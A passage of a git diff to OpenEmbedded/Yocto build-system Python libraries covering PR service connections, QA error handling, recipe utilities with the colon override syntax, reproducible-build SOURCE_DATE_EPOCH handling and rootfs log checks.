+ # are passed through os.path.realpath(), it will cause them to be prefixed
+ # with the absolute path to the current directory and thus not be empty
+ # anymore.
+ #
+ # Also maintain trailing slashes, as the paths may actually be used as
+ # prefixes in sting compares later on, where the slashes then are important.
+ canonical_paths = []
+ for path in (paths or '').split(sep):
+ if '$' not in path:
+ trailing_slash = path.endswith('/') and '/' or ''
+ canonical_paths.append(os.path.realpath(path) + trailing_slash)
+
+ return sep.join(canonical_paths)
diff --git a/meta/lib/oe/prservice.py b/meta/lib/oe/prservice.py
index 2d3c9c7e50..c41242c878 100644
--- a/meta/lib/oe/prservice.py
+++ b/meta/lib/oe/prservice.py
@@ -1,21 +1,18 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
def prserv_make_conn(d, check = False):
- # Otherwise this fails when called from recipes which e.g. inherit python3native (which sets _PYTHON_SYSCONFIGDATA_NAME) with:
- # No module named '_sysconfigdata'
- if '_PYTHON_SYSCONFIGDATA_NAME' in os.environ:
- del os.environ['_PYTHON_SYSCONFIGDATA_NAME']
import prserv.serv
host_params = list([_f for _f in (d.getVar("PRSERV_HOST") or '').split(':') if _f])
try:
conn = None
- conn = prserv.serv.PRServerConnection(host_params[0], int(host_params[1]))
+ conn = prserv.serv.connect(host_params[0], int(host_params[1]))
if check:
if not conn.ping():
raise Exception('service not available')
- d.setVar("__PRSERV_CONN",conn)
except Exception as exc:
bb.fatal("Connecting to PR service %s:%s failed: %s" % (host_params[0], host_params[1], str(exc)))
@@ -26,31 +23,29 @@ def prserv_dump_db(d):
bb.error("Not using network based PR service")
return None
- conn = d.getVar("__PRSERV_CONN")
+ conn = prserv_make_conn(d)
if conn is None:
- conn = prserv_make_conn(d)
- if conn is None:
- bb.error("Making connection failed to remote PR service")
- return None
+ bb.error("Making connection failed to remote PR service")
+ return None
#dump db
opt_version = d.getVar('PRSERV_DUMPOPT_VERSION')
opt_pkgarch = d.getVar('PRSERV_DUMPOPT_PKGARCH')
opt_checksum = d.getVar('PRSERV_DUMPOPT_CHECKSUM')
opt_col = ("1" == d.getVar('PRSERV_DUMPOPT_COL'))
- return conn.export(opt_version, opt_pkgarch, opt_checksum, opt_col)
+ d = conn.export(opt_version, opt_pkgarch, opt_checksum, opt_col)
+ conn.close()
+ return d
def prserv_import_db(d, filter_version=None, filter_pkgarch=None, filter_checksum=None):
if not d.getVar('PRSERV_HOST'):
bb.error("Not using network based PR service")
return None
- conn = d.getVar("__PRSERV_CONN")
+ conn = prserv_make_conn(d)
if conn is None:
- conn = prserv_make_conn(d)
- if conn is None:
- bb.error("Making connection failed to remote PR service")
- return None
+ bb.error("Making connection failed to remote PR service")
+ return None
#get the entry values
imported = []
prefix = "PRAUTO$"
@@ -74,6 +69,7 @@ def prserv_import_db(d, filter_version=None, filter_pkgarch=None, filter_checksu
bb.error("importing(%s,%s,%s,%d) failed. DB may have larger value %d" % (version,pkgarch,checksum,value,ret))
else:
imported.append((version,pkgarch,checksum,value))
+ conn.close()
return imported
def prserv_export_tofile(d, metainfo, datainfo, lockdown, nomax=False):
@@ -82,8 +78,7 @@ def prserv_export_tofile(d, metainfo, datainfo, lockdown, nomax=False):
bb.utils.mkdirhier(d.getVar('PRSERV_DUMPDIR'))
df = d.getVar('PRSERV_DUMPFILE')
#write data
- lf = bb.utils.lockfile("%s.lock" % df)
- with open(df, "a") as f:
+ with open(df, "a") as f, bb.utils.fileslocked(["%s.lock" % df]) as locks:
if metainfo:
#dump column info
f.write("#PR_core_ver = \"%s\"\n\n" % metainfo['core_ver']);
@@ -117,7 +112,6 @@ def prserv_export_tofile(d, metainfo, datainfo, lockdown, nomax=False):
if not nomax:
for i in idx:
f.write("PRAUTO_%s_%s = \"%s\"\n" % (str(datainfo[idx[i]]['version']),str(datainfo[idx[i]]['pkgarch']),str(datainfo[idx[i]]['value'])))
- bb.utils.unlockfile(lf)
def prserv_check_avail(d):
host_params = list([_f for _f in (d.getVar("PRSERV_HOST") or '').split(':') if _f])
@@ -129,4 +123,5 @@ def prserv_check_avail(d):
except TypeError:
bb.fatal('Undefined/incorrect PRSERV_HOST value. Format: "host:port"')
else:
- prserv_make_conn(d, True)
+ conn = prserv_make_conn(d, True)
+ conn.close()
diff --git a/meta/lib/oe/qa.py b/meta/lib/oe/qa.py
index ea831b930a..f8ae3c743f 100644
--- a/meta/lib/oe/qa.py
+++ b/meta/lib/oe/qa.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -48,6 +50,9 @@ class ELFFile:
return self
def __exit__(self, exc_type, exc_value, traceback):
+ self.close()
+
+ def close(self):
if self.data:
self.data.close()
@@ -128,6 +133,9 @@ class ELFFile:
"""
return self.getShort(ELFFile.E_MACHINE)
+ def set_objdump(self, cmd, output):
+ self.objdump_output[cmd] = output
+
def run_objdump(self, cmd, d):
import bb.process
import sys
@@ -156,6 +164,7 @@ def elf_machine_to_string(machine):
"""
try:
return {
+ 0x00: "Unset",
0x02: "SPARC",
0x03: "x86",
0x08: "MIPS",
@@ -170,6 +179,57 @@ def elf_machine_to_string(machine):
except:
return "Unknown (%s)" % repr(machine)
+def write_error(type, error, d):
+ logfile = d.getVar('QA_LOGFILE')
+ if logfile:
+ p = d.getVar('P')
+ with open(logfile, "a+") as f:
+ f.write("%s: %s [%s]\n" % (p, error, type))
+
+def handle_error(error_class, error_msg, d):
+ if error_class in (d.getVar("ERROR_QA") or "").split():
+ write_error(error_class, error_msg, d)
+ bb.error("QA Issue: %s [%s]" % (error_msg, error_class))
+ d.setVar("QA_ERRORS_FOUND", "True")
+ return False
+ elif error_class in (d.getVar("WARN_QA") or "").split():
+ write_error(error_class, error_msg, d)
+ bb.warn("QA Issue: %s [%s]" % (error_msg, error_class))
+ else:
+ bb.note("QA Issue: %s [%s]" % (error_msg, error_class))
+ return True
+
+def add_message(messages, section, new_msg):
+ if section not in messages:
+ messages[section] = new_msg
+ else:
+ messages[section] = messages[section] + "\n" + new_msg
+
+def exit_with_message_if_errors(message, d):
+ qa_fatal_errors = bb.utils.to_boolean(d.getVar("QA_ERRORS_FOUND"), False)
+ if qa_fatal_errors:
+ bb.fatal(message)
+
+def exit_if_errors(d):
+ exit_with_message_if_errors("Fatal QA errors were found, failing task.", d)
+
+def check_upstream_status(fullpath):
+ import re
+ kinda_status_re = re.compile(r"^.*upstream.*status.*$", re.IGNORECASE | re.MULTILINE)
+ strict_status_re = re.compile(r"^Upstream-Status: (Pending|Submitted|Denied|Inappropriate|Backport|Inactive-Upstream)( .+)?$", re.MULTILINE)
+ guidelines = "https://docs.yoctoproject.org/contributor-guide/recipe-style-guide.html#patch-upstream-status"
+
+ with open(fullpath, encoding='utf-8', errors='ignore') as f:
+ file_content = f.read()
+ match_kinda = kinda_status_re.search(file_content)
+ match_strict = strict_status_re.search(file_content)
+
+ if not match_strict:
+ if match_kinda:
+ return "Malformed Upstream-Status in patch\n%s\nPlease correct according to %s :\n%s" % (fullpath, guidelines, match_kinda.group(0))
+ else:
+ return "Missing Upstream-Status in patch\n%s\nPlease add according to %s ." % (fullpath, guidelines)
+
if __name__ == "__main__":
import sys
diff --git a/meta/lib/oe/recipeutils.py b/meta/lib/oe/recipeutils.py
index 36427eec91..de1fbdd3a8 100644
--- a/meta/lib/oe/recipeutils.py
+++ b/meta/lib/oe/recipeutils.py
@@ -24,9 +24,9 @@ from collections import OrderedDict, defaultdict
from bb.utils import vercmp_string
# Help us to find places to insert values
-recipe_progression = ['SUMMARY', 'DESCRIPTION', 'AUTHOR', 'HOMEPAGE', 'BUGTRACKER', 'SECTION', 'LICENSE', 'LICENSE_FLAGS', 'LIC_FILES_CHKSUM', 'PROVIDES', 'DEPENDS', 'PR', 'PV', 'SRCREV', 'SRCPV', 'SRC_URI', 'S', 'do_fetch()', 'do_unpack()', 'do_patch()', 'EXTRA_OECONF', 'EXTRA_OECMAKE', 'EXTRA_OESCONS', 'do_configure()', 'EXTRA_OEMAKE', 'do_compile()', 'do_install()', 'do_populate_sysroot()', 'INITSCRIPT', 'USERADD', 'GROUPADD', 'PACKAGES', 'FILES', 'RDEPENDS', 'RRECOMMENDS', 'RSUGGESTS', 'RPROVIDES', 'RREPLACES', 'RCONFLICTS', 'ALLOW_EMPTY', 'populate_packages()', 'do_package()', 'do_deploy()', 'BBCLASSEXTEND']
+recipe_progression = ['SUMMARY', 'DESCRIPTION', 'HOMEPAGE', 'BUGTRACKER', 'SECTION', 'LICENSE', 'LICENSE_FLAGS', 'LIC_FILES_CHKSUM', 'PROVIDES', 'DEPENDS', 'PR', 'PV', 'SRCREV', 'SRC_URI', 'S', 'do_fetch()', 'do_unpack()', 'do_patch()', 'EXTRA_OECONF', 'EXTRA_OECMAKE', 'EXTRA_OESCONS', 'do_configure()', 'EXTRA_OEMAKE', 'do_compile()', 'do_install()', 'do_populate_sysroot()', 'INITSCRIPT', 'USERADD', 'GROUPADD', 'PACKAGES', 'FILES', 'RDEPENDS', 'RRECOMMENDS', 'RSUGGESTS', 'RPROVIDES', 'RREPLACES', 'RCONFLICTS', 'ALLOW_EMPTY', 'populate_packages()', 'do_package()', 'do_deploy()', 'BBCLASSEXTEND']
# Variables that sometimes are a bit long but shouldn't be wrapped
-nowrap_vars = ['SUMMARY', 'HOMEPAGE', 'BUGTRACKER', r'SRC_URI\[(.+\.)?md5sum\]', r'SRC_URI\[(.+\.)?sha256sum\]']
+nowrap_vars = ['SUMMARY', 'HOMEPAGE', 'BUGTRACKER', r'SRC_URI\[(.+\.)?md5sum\]', r'SRC_URI\[(.+\.)?sha[0-9]+sum\]']
list_vars = ['SRC_URI', 'LIC_FILES_CHKSUM']
meta_vars = ['SUMMARY', 'DESCRIPTION', 'HOMEPAGE', 'BUGTRACKER', 'SECTION']
@@ -47,7 +47,7 @@ def simplify_history(history, d):
continue
has_set = True
elif event['op'] in ('append', 'prepend', 'postdot', 'predot'):
- # Reminder: "append" and "prepend" mean += and =+ respectively, NOT _append / _prepend
+ # Reminder: "append" and "prepend" mean += and =+ respectively, NOT :append / :prepend
if has_set:
continue
ret_history.insert(0, event)
@@ -342,7 +342,7 @@ def patch_recipe(d, fn, varvalues, patch=False, relpath='', redirect_output=None
def override_applicable(hevent):
op = hevent['op']
if '[' in op:
- opoverrides = op.split('[')[1].split(']')[0].split('_')
+ opoverrides = op.split('[')[1].split(']')[0].split(':')
for opoverride in opoverrides:
if not opoverride in overrides:
return False
@@ -368,13 +368,13 @@ def patch_recipe(d, fn, varvalues, patch=False, relpath='', redirect_output=None
recipe_set = True
if not recipe_set:
for event in history:
- if event['op'].startswith('_remove'):
+ if event['op'].startswith(':remove'):
continue
if not override_applicable(event):
continue
newvalue = value.replace(event['detail'], '')
- if newvalue == value and os.path.abspath(event['file']) == fn and event['op'].startswith('_'):
- op = event['op'].replace('[', '_').replace(']', '')
+ if newvalue == value and os.path.abspath(event['file']) == fn and event['op'].startswith(':'):
+ op = event['op'].replace('[', ':').replace(']', '')
extravals[var + op] = None
value = newvalue
vals[var] = ('+=', value)
@@ -409,20 +409,18 @@ def copy_recipe_files(d, tgt_dir, whole_dir=False, download=True, all_variants=F
fetch.download()
for pth in fetch.localpaths():
if pth not in localpaths:
- localpaths.append(pth)
+ localpaths.append(os.path.abspath(pth))
uri_values.append(srcuri)
fetch_urls(d)
if all_variants:
- # Get files for other variants e.g. in the case of a SRC_URI_append
+ # Get files for other variants e.g. in the case of a SRC_URI:append
localdata = bb.data.createCopy(d)
variants = (localdata.getVar('BBCLASSEXTEND') or '').split()
if variants:
# Ensure we handle class-target if we're dealing with one of the variants
variants.append('target')
for variant in variants:
- if variant.startswith("devupstream"):
- localdata.setVar('SRCPV', 'git')
localdata.setVar('CLASSOVERRIDE', 'class-%s' % variant)
fetch_urls(localdata)
@@ -563,6 +561,23 @@ def get_bbfile_path(d, destdir, extrapathhint=None):
confdata = bb.cookerdata.parse_config_file(destlayerconf, confdata)
pn = d.getVar('PN')
+ # Parse BBFILES_DYNAMIC and append to BBFILES
+ bbfiles_dynamic = (confdata.getVar('BBFILES_DYNAMIC') or "").split()
+ collections = (confdata.getVar('BBFILE_COLLECTIONS') or "").split()
+ invalid = []
+ for entry in bbfiles_dynamic:
+ parts = entry.split(":", 1)
+ if len(parts) != 2:
+ invalid.append(entry)
+ continue
+ l, f = parts
+ invert = l[0] == "!"
+ if invert:
+ l = l[1:]
+ if (l in collections and not invert) or (l not in collections and invert):
+ confdata.appendVar("BBFILES", " " + f)
+ if invalid:
+ return None
bbfilespecs = (confdata.getVar('BBFILES') or '').split()
if destdir == destlayerdir:
for bbfilespec in bbfilespecs:
@@ -649,19 +664,23 @@ def get_bbappend_path(d, destlayerdir, wildcardver=False):
return (appendpath, pathok)
-def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False, machine=None, extralines=None, removevalues=None, redirect_output=None):
+def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False, machine=None, extralines=None, removevalues=None, redirect_output=None, params=None, update_original_recipe=False):
"""
Writes a bbappend file for a recipe
Parameters:
rd: data dictionary for the recipe
destlayerdir: base directory of the layer to place the bbappend in
(subdirectory path from there will be determined automatically)
- srcfiles: dict of source files to add to SRC_URI, where the value
- is the full path to the file to be added, and the value is the
- original filename as it would appear in SRC_URI or None if it
- isn't already present. You may pass None for this parameter if
- you simply want to specify your own content via the extralines
- parameter.
+ srcfiles: dict of source files to add to SRC_URI, where the key
+ is the full path to the file to be added, and the value is a
+ dict with following optional keys:
+ path: the original filename as it would appear in SRC_URI
+ or None if it isn't already present.
+ patchdir: the patchdir parameter
+ newname: the name to give to the new added file. None to use
+ the default value: basename(path)
+ You may pass None for this parameter if you simply want to specify
+ your own content via the extralines parameter.
install: dict mapping entries in srcfiles to a tuple of two elements:
install path (*without* ${D} prefix) and permission value (as a
string, e.g. '0644').
@@ -679,18 +698,32 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
redirect_output:
If specified, redirects writing the output file to the
specified directory (for dry-run purposes)
+ params:
+ Parameters to use when adding entries to SRC_URI. If specified,
+ should be a list of dicts with the same length as srcfiles.
+ update_original_recipe:
+ Force to update the original recipe instead of creating/updating
+ a bbapend. destlayerdir must contain the original recipe
"""
if not removevalues:
removevalues = {}
- # Determine how the bbappend should be named
- appendpath, pathok = get_bbappend_path(rd, destlayerdir, wildcardver)
- if not appendpath:
- bb.error('Unable to determine layer directory containing %s' % recipefile)
- return (None, None)
- if not pathok:
- bb.warn('Unable to determine correct subdirectory path for bbappend file - check that what %s adds to BBFILES also matches .bbappend files. Using %s for now, but until you fix this the bbappend will not be applied.' % (os.path.join(destlayerdir, 'conf', 'layer.conf'), os.path.dirname(appendpath)))
+ recipefile = rd.getVar('FILE')
+ if update_original_recipe:
+ if destlayerdir not in recipefile:
+ bb.error("destlayerdir %s doesn't contain the original recipe (%s), cannot update it" % (destlayerdir, recipefile))
+ return (None, None)
+
+ appendpath = recipefile
+ else:
+ # Determine how the bbappend should be named
+ appendpath, pathok = get_bbappend_path(rd, destlayerdir, wildcardver)
+ if not appendpath:
+ bb.error('Unable to determine layer directory containing %s' % recipefile)
+ return (None, None)
+ if not pathok:
+ bb.warn('Unable to determine correct subdirectory path for bbappend file - check that what %s adds to BBFILES also matches .bbappend files. Using %s for now, but until you fix this the bbappend will not be applied.' % (os.path.join(destlayerdir, 'conf', 'layer.conf'), os.path.dirname(appendpath)))
appenddir = os.path.dirname(appendpath)
if not redirect_output:
@@ -735,30 +768,48 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
bbappendlines.append((varname, op, value))
destsubdir = rd.getVar('PN')
- if srcfiles:
- bbappendlines.append(('FILESEXTRAPATHS_prepend', ':=', '${THISDIR}/${PN}:'))
+ if not update_original_recipe and srcfiles:
+ bbappendlines.append(('FILESEXTRAPATHS:prepend', ':=', '${THISDIR}/${PN}:'))
appendoverride = ''
if machine:
bbappendlines.append(('PACKAGE_ARCH', '=', '${MACHINE_ARCH}'))
- appendoverride = '_%s' % machine
+ appendoverride = ':%s' % machine
copyfiles = {}
if srcfiles:
instfunclines = []
- for newfile, origsrcfile in srcfiles.items():
- srcfile = origsrcfile
+ for i, (newfile, param) in enumerate(srcfiles.items()):
srcurientry = None
- if not srcfile:
- srcfile = os.path.basename(newfile)
+ if not 'path' in param or not param['path']:
+ if 'newname' in param and param['newname']:
+ srcfile = param['newname']
+ else:
+ srcfile = os.path.basename(newfile)
srcurientry = 'file://%s' % srcfile
+ oldentry = None
+ for uri in rd.getVar('SRC_URI').split():
+ if srcurientry in uri:
+ oldentry = uri
+ if params and params[i]:
+ srcurientry = '%s;%s' % (srcurientry, ';'.join('%s=%s' % (k,v) for k,v in params[i].items()))
# Double-check it's not there already
# FIXME do we care if the entry is added by another bbappend that might go away?
if not srcurientry in rd.getVar('SRC_URI').split():
if machine:
- appendline('SRC_URI_append%s' % appendoverride, '=', ' ' + srcurientry)
+ if oldentry:
+ appendline('SRC_URI:remove%s' % appendoverride, '=', ' ' + oldentry)
+ appendline('SRC_URI:append%s' % appendoverride, '=', ' ' + srcurientry)
else:
+ if oldentry:
+ if update_original_recipe:
+ removevalues['SRC_URI'] = oldentry
+ else:
+ appendline('SRC_URI:remove', '=', oldentry)
appendline('SRC_URI', '+=', srcurientry)
- copyfiles[newfile] = srcfile
+ param['path'] = srcfile
+ else:
+ srcfile = param['path']
+ copyfiles[newfile] = param
if install:
institem = install.pop(newfile, None)
if institem:
@@ -769,7 +820,7 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
instfunclines.append(instdirline)
instfunclines.append('install -m %s ${WORKDIR}/%s ${D}%s' % (perms, os.path.basename(srcfile), instdestpath))
if instfunclines:
- bbappendlines.append(('do_install_append%s()' % appendoverride, '', instfunclines))
+ bbappendlines.append(('do_install:append%s()' % appendoverride, '', instfunclines))
if redirect_output:
bb.note('Writing append file %s (dry-run)' % appendpath)
@@ -778,6 +829,8 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
# multiple times per operation when we're handling overrides)
if os.path.exists(appendpath) and not os.path.exists(outfile):
shutil.copy2(appendpath, outfile)
+ elif update_original_recipe:
+ outfile = recipefile
else:
bb.note('Writing append file %s' % appendpath)
outfile = appendpath
@@ -787,15 +840,15 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
extvars = {'destsubdir': destsubdir}
def appendfile_varfunc(varname, origvalue, op, newlines):
- if varname == 'FILESEXTRAPATHS_prepend':
+ if varname == 'FILESEXTRAPATHS:prepend':
if origvalue.startswith('${THISDIR}/'):
- popline('FILESEXTRAPATHS_prepend')
+ popline('FILESEXTRAPATHS:prepend')
extvars['destsubdir'] = rd.expand(origvalue.split('${THISDIR}/', 1)[1].rstrip(':'))
elif varname == 'PACKAGE_ARCH':
if machine:
popline('PACKAGE_ARCH')
return (machine, None, 4, False)
- elif varname.startswith('do_install_append'):
+ elif varname.startswith('do_install:append'):
func = popline(varname)
if func:
instfunclines = [line.strip() for line in origvalue.strip('\n').splitlines()]
@@ -807,7 +860,7 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
splitval = split_var_value(origvalue, assignment=False)
changed = False
removevar = varname
- if varname in ['SRC_URI', 'SRC_URI_append%s' % appendoverride]:
+ if varname in ['SRC_URI', 'SRC_URI:append%s' % appendoverride]:
removevar = 'SRC_URI'
line = popline(varname)
if line:
@@ -836,11 +889,11 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
newvalue = splitval
if len(newvalue) == 1:
# Ensure it's written out as one line
- if '_append' in varname:
+ if ':append' in varname:
newvalue = ' ' + newvalue[0]
else:
newvalue = newvalue[0]
- if not newvalue and (op in ['+=', '.='] or '_append' in varname):
+ if not newvalue and (op in ['+=', '.='] or ':append' in varname):
# There's no point appending nothing
newvalue = None
if varname.endswith('()'):
@@ -881,7 +934,12 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
outdir = redirect_output
else:
outdir = appenddir
- for newfile, srcfile in copyfiles.items():
+ for newfile, param in copyfiles.items():
+ srcfile = param['path']
+ patchdir = param.get('patchdir', ".")
+
+ if patchdir != ".":
+ newfile = os.path.join(os.path.split(newfile)[0], patchdir, os.path.split(newfile)[1])
filedest = os.path.join(outdir, destsubdir, os.path.basename(srcfile))
if os.path.abspath(newfile) != os.path.abspath(filedest):
if newfile.startswith(tempfile.gettempdir()):
@@ -925,10 +983,9 @@ def replace_dir_vars(path, d):
path = path.replace(dirpath, '${%s}' % dirvars[dirpath])
return path
-def get_recipe_pv_without_srcpv(pv, uri_type):
+def get_recipe_pv_with_pfx_sfx(pv, uri_type):
"""
- Get PV without SRCPV common in SCM's for now only
- support git.
+ Get PV separating prefix and suffix components.
Returns tuple with pv, prefix and suffix.
"""
@@ -936,7 +993,7 @@ def get_recipe_pv_without_srcpv(pv, uri_type):
sfx = ''
if uri_type == 'git':
- git_regex = re.compile(r"(?P<pfx>v?)(?P<ver>.*?)(?P<sfx>\+[^\+]*(git)?r?(AUTOINC\+))(?P<rev>.*)")
+ git_regex = re.compile(r"(?P<pfx>v?)(?P<ver>.*?)(?P<sfx>\+[^\+]*(git)?r?(AUTOINC\+)?)(?P<rev>.*)")
m = git_regex.match(pv)
if m:
@@ -988,7 +1045,7 @@ def get_recipe_upstream_version(rd):
src_uri = src_uris.split()[0]
uri_type, _, _, _, _, _ = decodeurl(src_uri)
- (pv, pfx, sfx) = get_recipe_pv_without_srcpv(rd.getVar('PV'), uri_type)
+ (pv, pfx, sfx) = get_recipe_pv_with_pfx_sfx(rd.getVar('PV'), uri_type)
ru['current_version'] = pv
manual_upstream_version = rd.getVar("RECIPE_UPSTREAM_VERSION")
@@ -1012,10 +1069,11 @@ def get_recipe_upstream_version(rd):
else:
ud = bb.fetch2.FetchData(src_uri, rd)
if rd.getVar("UPSTREAM_CHECK_COMMITS") == "1":
+ bb.fetch2.get_srcrev(rd)
revision = ud.method.latest_revision(ud, rd, 'default')
upversion = pv
if revision != rd.getVar("SRCREV"):
- upversion = upversion + "-new-commits-available"
+ upversion = upversion + "-new-commits-available"
else:
pupver = ud.method.latest_versionstring(ud, rd)
(upversion, revision) = pupver
diff --git a/meta/lib/oe/reproducible.py b/meta/lib/oe/reproducible.py
index 421bb12f54..448befce33 100644
--- a/meta/lib/oe/reproducible.py
+++ b/meta/lib/oe/reproducible.py
@@ -1,10 +1,63 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
import os
import subprocess
import bb
+# For reproducible builds, this code sets the default SOURCE_DATE_EPOCH in each
+# component's build environment. The format is number of seconds since the
+# system epoch.
+#
+# Upstream components (generally) respect this environment variable,
+# using it in place of the "current" date and time.
+# See https://reproducible-builds.org/specs/source-date-epoch/
+#
+# The default value of SOURCE_DATE_EPOCH comes from the function
+# get_source_date_epoch_value which reads from the SDE_FILE, or if the file
+# is not available will use the fallback of SOURCE_DATE_EPOCH_FALLBACK.
+#
+# The SDE_FILE is normally constructed from the function
+# create_source_date_epoch_stamp which is typically added as a postfuncs to
+# the do_unpack task. If a recipe does NOT have do_unpack, it should be added
+# to a task that runs after the source is available and before the
+# do_deploy_source_date_epoch task is executed.
+#
+# If a recipe wishes to override the default behavior it should set it's own
+# SOURCE_DATE_EPOCH or override the do_deploy_source_date_epoch_stamp task
+# with recipe-specific functionality to write the appropriate
+# SOURCE_DATE_EPOCH into the SDE_FILE.
+#
+# SOURCE_DATE_EPOCH is intended to be a reproducible value. This value should
+# be reproducible for anyone who builds the same revision from the same
+# sources.
+#
+# There are 4 ways the create_source_date_epoch_stamp function determines what
+# becomes SOURCE_DATE_EPOCH:
+#
+# 1. Use the value from __source_date_epoch.txt file if this file exists.
+# This file was most likely created in the previous build by one of the
+# following methods 2,3,4.
+# Alternatively, it can be provided by a recipe via SRC_URI.
+#
+# If the file does not exist:
+#
+# 2. If there is a git checkout, use the last git commit timestamp.
+# Git does not preserve file timestamps on checkout.
+#
+# 3. Use the mtime of "known" files such as NEWS, CHANGLELOG, ...
+# This works for well-kept repositories distributed via tarball.
+#
+# 4. Use the modification time of the youngest file in the source tree, if
+# there is one.
+# This will be the newest file from the distribution tarball, if any.
+#
+# 5. Fall back to a fixed timestamp (SOURCE_DATE_EPOCH_FALLBACK).
+#
+# Once the value is determined, it is stored in the recipe's SDE_FILE.
+
def get_source_date_epoch_from_known_files(d, sourcedir):
source_date_epoch = None
newest_file = None
@@ -41,13 +94,13 @@ def find_git_folder(d, sourcedir):
for root, dirs, files in os.walk(workdir, topdown=True):
dirs[:] = [d for d in dirs if d not in exclude]
if '.git' in dirs:
- return root
+ return os.path.join(root, ".git")
bb.warn("Failed to find a git repository in WORKDIR: %s" % workdir)
return None
def get_source_date_epoch_from_git(d, sourcedir):
- if not "git://" in d.getVar('SRC_URI'):
+ if not "git://" in d.getVar('SRC_URI') and not "gitsm://" in d.getVar('SRC_URI'):
return None
gitpath = find_git_folder(d, sourcedir)
@@ -62,7 +115,8 @@ def get_source_date_epoch_from_git(d, sourcedir):
return None
bb.debug(1, "git repository: %s" % gitpath)
- p = subprocess.run(['git', '--git-dir', gitpath, 'log', '-1', '--pretty=%ct'], check=True, stdout=subprocess.PIPE)
+ p = subprocess.run(['git', '-c', 'log.showSignature=false', '--git-dir', gitpath, 'log', '-1', '--pretty=%ct'],
+ check=True, stdout=subprocess.PIPE)
return int(p.stdout.decode('utf-8'))
def get_source_date_epoch_from_youngest_file(d, sourcedir):
@@ -77,6 +131,9 @@ def get_source_date_epoch_from_youngest_file(d, sourcedir):
files = [f for f in files if not f[0] == '.']
for fname in files:
+ if fname == "singletask.lock":
+ # Ignore externalsrc/devtool lockfile [YOCTO #14921]
+ continue
filename = os.path.join(root, fname)
try:
mtime = int(os.lstat(filename).st_mtime)
@@ -90,15 +147,51 @@ def get_source_date_epoch_from_youngest_file(d, sourcedir):
bb.debug(1, "Newest file found: %s" % newest_file)
return source_date_epoch
-def fixed_source_date_epoch():
+def fixed_source_date_epoch(d):
bb.debug(1, "No tarball or git repo found to determine SOURCE_DATE_EPOCH")
+ source_date_epoch = d.getVar('SOURCE_DATE_EPOCH_FALLBACK')
+ if source_date_epoch:
+ bb.debug(1, "Using SOURCE_DATE_EPOCH_FALLBACK")
+ return int(source_date_epoch)
return 0
def get_source_date_epoch(d, sourcedir):
return (
get_source_date_epoch_from_git(d, sourcedir) or
- get_source_date_epoch_from_known_files(d, sourcedir) or
get_source_date_epoch_from_youngest_file(d, sourcedir) or
- fixed_source_date_epoch() # Last resort
+ fixed_source_date_epoch(d) # Last resort
)
+def epochfile_read(epochfile, d):
+ cached, efile = d.getVar('__CACHED_SOURCE_DATE_EPOCH') or (None, None)
+ if cached and efile == epochfile:
+ return cached
+
+ if cached and epochfile != efile:
+ bb.debug(1, "Epoch file changed from %s to %s" % (efile, epochfile))
+
+ source_date_epoch = int(d.getVar('SOURCE_DATE_EPOCH_FALLBACK'))
+ try:
+ with open(epochfile, 'r') as f:
+ s = f.read()
+ try:
+ source_date_epoch = int(s)
+ except ValueError:
+ bb.warn("SOURCE_DATE_EPOCH value '%s' is invalid. Reverting to SOURCE_DATE_EPOCH_FALLBACK" % s)
+ source_date_epoch = int(d.getVar('SOURCE_DATE_EPOCH_FALLBACK'))
+ bb.debug(1, "SOURCE_DATE_EPOCH: %d" % source_date_epoch)
+ except FileNotFoundError:
+ bb.debug(1, "Cannot find %s. SOURCE_DATE_EPOCH will default to %d" % (epochfile, source_date_epoch))
+
+ d.setVar('__CACHED_SOURCE_DATE_EPOCH', (str(source_date_epoch), epochfile))
+ return str(source_date_epoch)
+
+def epochfile_write(source_date_epoch, epochfile, d):
+
+ bb.debug(1, "SOURCE_DATE_EPOCH: %d" % source_date_epoch)
+ bb.utils.mkdirhier(os.path.dirname(epochfile))
+
+ tmp_file = "%s.new" % epochfile
+ with open(tmp_file, 'w') as f:
+ f.write(str(source_date_epoch))
+ os.rename(tmp_file, epochfile)
diff --git a/meta/lib/oe/rootfs.py b/meta/lib/oe/rootfs.py
index 3813f68e8b..8cd48f9450 100644
--- a/meta/lib/oe/rootfs.py
+++ b/meta/lib/oe/rootfs.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
from abc import ABCMeta, abstractmethod
@@ -10,12 +12,6 @@ import shutil
import os
import subprocess
import re
-from oe.package_manager.rpm.manifest import RpmManifest
-from oe.package_manager.ipk.manifest import OpkgManifest
-from oe.package_manager.deb.manifest import DpkgManifest
-from oe.package_manager.rpm import RpmPkgsList
-from oe.package_manager.ipk import OpkgPkgsList
-from oe.package_manager.deb import DpkgPkgsList
class Rootfs(object, metaclass=ABCMeta):
"""
@@ -55,6 +51,8 @@ class Rootfs(object, metaclass=ABCMeta):
excludes = [ 'log_check', r'^\+' ]
if hasattr(self, 'log_check_expected_regexes'):
excludes.extend(self.log_check_expected_regexes)
+ # Insert custom log_check excludes
+ excludes += [x for x in (self.d.getVar("IMAGE_LOG_CHECK_EXCLUDES") or "").split(" ") if x]
excludes = [re.compile(x) for x in excludes]
r = re.compile(match)
log_path = self.d.expand("${T}/log.do_rootfs")
@@ -108,7 +106,7 @@ class Rootfs(object, metaclass=ABCMeta):
def _cleanup(self):
pass
- def _setup_dbg_rootfs(self, dirs):
+ def _setup_dbg_rootfs(self, package_paths):
gen_debugfs = self.d.getVar('IMAGE_GEN_DEBUGFS') or '0'
if gen_debugfs != '1':
return
